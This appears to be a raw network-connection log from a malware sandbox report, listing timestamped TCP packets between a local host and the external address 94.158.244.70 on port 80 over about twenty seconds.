Sep 1, 2024 23:58:50.506162882 CEST	80	49860	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:50.859428883 CEST	49860	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:50.864240885 CEST	80	49860	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:51.092459917 CEST	80	49860	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:51.171416998 CEST	49860	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.220537901 CEST	80	49860	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:51.337826967 CEST	49859	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.337826967 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.337846041 CEST	49860	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.342783928 CEST	80	49861	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:51.343050957 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.343105078 CEST	80	49860	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:51.343138933 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.343417883 CEST	49860	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.348505974 CEST	80	49861	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:51.701024055 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:51.705910921 CEST	80	49861	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:51.935579062 CEST	80	49861	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.060265064 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.064822912 CEST	80	49861	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.169636965 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.185580015 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.186044931 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.190571070 CEST	80	49861	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.190617085 CEST	49861	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.190756083 CEST	80	49862	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.190813065 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.190912008 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.195660114 CEST	80	49862	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.544783115 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.552134991 CEST	80	49862	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.763093948 CEST	80	49862	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.858798027 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:52.892846107 CEST	80	49862	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:52.966523886 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.011436939 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.011692047 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.016491890 CEST	80	49862	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.016505003 CEST	80	49863	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.016664982 CEST	49862	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.016674995 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.016874075 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.021644115 CEST	80	49863	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.375452995 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.380486965 CEST	80	49863	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.634655952 CEST	80	49863	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.763421059 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.766978025 CEST	80	49863	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.872754097 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.890187979 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.890495062 CEST	49864	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.896096945 CEST	80	49863	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.896147966 CEST	49863	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.896393061 CEST	80	49864	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:53.896451950 CEST	49864	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.896522045 CEST	49864	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:53.901293039 CEST	80	49864	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.232965946 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.233007908 CEST	49864	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.237835884 CEST	80	49865	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.237905025 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.238132000 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.242980003 CEST	80	49865	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.282154083 CEST	80	49864	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.316555023 CEST	80	49864	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.316610098 CEST	49864	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.358241081 CEST	49866	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.363086939 CEST	80	49866	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.363149881 CEST	49866	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.363364935 CEST	49866	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.368185997 CEST	80	49866	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.594434023 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.717452049 CEST	49866	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.768832922 CEST	80	49865	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.769012928 CEST	80	49865	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.769361973 CEST	80	49866	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.806839943 CEST	80	49865	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:54.873507023 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:54.944904089 CEST	80	49866	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.006791115 CEST	80	49865	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.063431978 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.070453882 CEST	80	49866	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.078355074 CEST	49866	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.271353006 CEST	49866	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.271353006 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.271899939 CEST	49867	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.276542902 CEST	80	49866	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.276671886 CEST	80	49867	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.276725054 CEST	49866	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.276854038 CEST	49867	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.276983023 CEST	80	49865	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.277115107 CEST	49867	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.277194977 CEST	49865	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.281898975 CEST	80	49867	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.622906923 CEST	49867	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:55.627835989 CEST	80	49867	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.849591017 CEST	80	49867	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.972812891 CEST	80	49867	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:55.972865105 CEST	49867	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.087831020 CEST	49867	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.088078976 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.093240023 CEST	80	49868	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.093252897 CEST	80	49867	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.093331099 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.093369007 CEST	49867	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.093482971 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.098932981 CEST	80	49868	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.451087952 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.456039906 CEST	80	49868	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.676556110 CEST	80	49868	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.763432026 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.802683115 CEST	80	49868	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.872777939 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.978118896 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.978143930 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.982979059 CEST	80	49869	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.983225107 CEST	80	49868	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:56.983330011 CEST	49868	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.983350039 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.983608961 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:56.988445044 CEST	80	49869	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:57.341576099 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:57.347405910 CEST	80	49869	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:57.586059093 CEST	80	49869	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:57.669651031 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:57.718313932 CEST	80	49869	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:57.872756958 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.050590992 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.051070929 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.055839062 CEST	80	49869	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.055857897 CEST	80	49870	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.055886984 CEST	49869	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.055937052 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.056082010 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.060822964 CEST	80	49870	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.404150963 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.409154892 CEST	80	49870	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.637649059 CEST	80	49870	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.763386965 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.765351057 CEST	80	49870	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.872816086 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.882843018 CEST	49871	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.882863998 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.888511896 CEST	80	49871	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.888607979 CEST	49871	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.888734102 CEST	49871	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.889364958 CEST	80	49870	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:58.889445066 CEST	49870	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:58.894649029 CEST	80	49871	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:59.251444101 CEST	49871	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:59.256306887 CEST	80	49871	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:59.637221098 CEST	80	49871	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:59.637510061 CEST	80	49871	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:59.637520075 CEST	80	49871	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:59.637572050 CEST	49871	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:59.761507988 CEST	49871	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:59.761712074 CEST	49872	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:59.769015074 CEST	80	49872	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:59.769094944 CEST	49872	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:59.769223928 CEST	49872	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:59.769459009 CEST	80	49871	94.158.244.70	192.168.2.5
Sep 1, 2024 23:58:59.769511938 CEST	49871	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:58:59.774137020 CEST	80	49872	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.029680967 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.029854059 CEST	49872	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.034606934 CEST	80	49873	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.034701109 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.034795046 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.039572001 CEST	80	49873	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.078234911 CEST	80	49872	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.150511026 CEST	49874	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.155349016 CEST	80	49874	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.155416012 CEST	49874	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.155522108 CEST	49874	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.160285950 CEST	80	49874	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.189970016 CEST	80	49872	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.190021038 CEST	49872	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.388494968 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.394279003 CEST	80	49873	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.394757032 CEST	80	49873	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.513452053 CEST	49874	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.518316984 CEST	80	49874	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.615175009 CEST	80	49873	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.669667959 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.738162041 CEST	80	49874	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.752332926 CEST	80	49873	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.857175112 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.862298012 CEST	80	49874	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:00.862416983 CEST	49874	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.977762938 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.977762938 CEST	49874	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:00.979437113 CEST	49875	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.166471958 CEST	80	49875	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.166611910 CEST	80	49873	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.166620970 CEST	80	49874	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.166714907 CEST	49875	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.166718006 CEST	49873	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.166754961 CEST	49874	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.167011976 CEST	49875	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.171751022 CEST	80	49875	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.515439987 CEST	49875	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.520279884 CEST	80	49875	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.770044088 CEST	80	49875	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.872765064 CEST	49875	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.905915022 CEST	80	49875	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.906160116 CEST	49875	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:01.911247015 CEST	80	49875	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:01.911298037 CEST	49875	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.026747942 CEST	49876	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.031563044 CEST	80	49876	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:02.031626940 CEST	49876	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.031744957 CEST	49876	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.036493063 CEST	80	49876	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:02.388597012 CEST	49876	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.393579960 CEST	80	49876	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:02.631350040 CEST	80	49876	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:02.760639906 CEST	80	49876	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:02.760986090 CEST	49876	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.923517942 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.923531055 CEST	49876	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.930439949 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:02.930524111 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.930759907 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.930845976 CEST	80	49876	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:02.930926085 CEST	49876	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:02.935523033 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:03.281640053 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:03.669663906 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.106184959 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.106286049 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.106348038 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.106471062 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.106523037 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.108314991 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.108457088 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.272319078 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.372773886 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.385257006 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.385675907 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.390371084 CEST	80	49877	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.390429020 CEST	80	49878	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.390441895 CEST	49877	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.390492916 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.390593052 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.395412922 CEST	80	49878	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.747831106 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:04.752676964 CEST	80	49878	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:04.979351044 CEST	80	49878	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.060272932 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.094902039 CEST	80	49878	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.169632912 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.212412119 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.212414980 CEST	49879	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.217252016 CEST	80	49879	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.217550039 CEST	80	49878	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.217674971 CEST	49878	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.217675924 CEST	49879	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.218152046 CEST	49879	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.222933054 CEST	80	49879	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.575965881 CEST	49879	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.580965996 CEST	80	49879	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.764305115 CEST	49879	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.764305115 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.769249916 CEST	80	49880	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.769320965 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.769426107 CEST	80	49879	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.769433975 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.769475937 CEST	49879	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.774250984 CEST	80	49880	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.889058113 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.893932104 CEST	80	49881	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:05.894018888 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.894155025 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:05.899005890 CEST	80	49881	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.125480890 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.131530046 CEST	80	49880	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.135281086 CEST	80	49880	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.248895884 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.253927946 CEST	80	49881	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.359643936 CEST	80	49880	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.404043913 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.470330954 CEST	80	49881	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.489886045 CEST	80	49880	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.544637918 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.560271978 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.601556063 CEST	80	49881	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.669739008 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.727355957 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.727683067 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.727750063 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.733309031 CEST	80	49882	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.733465910 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.733509064 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.733833075 CEST	80	49880	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.734256029 CEST	80	49881	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:06.737739086 CEST	49881	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.737740993 CEST	49880	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:06.739166975 CEST	80	49882	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:07.091615915 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:07.282203913 CEST	80	49882	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:07.304668903 CEST	80	49882	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:07.357148886 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:07.445545912 CEST	80	49882	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:07.497766018 CEST	49882	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:07.572283983 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:07.577120066 CEST	80	49883	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:07.577229977 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:07.577323914 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:07.582079887 CEST	80	49883	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:07.935347080 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:07.940243006 CEST	80	49883	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:08.152991056 CEST	80	49883	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:08.263400078 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.276293993 CEST	80	49883	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:08.372773886 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.402759075 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.403068066 CEST	49884	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.407845020 CEST	80	49883	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:08.407859087 CEST	80	49884	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:08.407905102 CEST	49883	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.407932043 CEST	49884	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.408036947 CEST	49884	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.412777901 CEST	80	49884	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:08.765712023 CEST	49884	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:08.770634890 CEST	80	49884	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:08.982076883 CEST	80	49884	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:09.075936079 CEST	49884	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:09.108917952 CEST	80	49884	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:09.229176998 CEST	49884	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:09.229640961 CEST	49885	80	192.168.2.5	94.158.244.70
Sep 1, 2024 23:59:09.234266996 CEST	80	49884	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:09.234448910 CEST	80	49885	94.158.244.70	192.168.2.5
Sep 1, 2024 23:59:09.234817982 CEST	49884	80	192.168.2.5	94.158.244.70
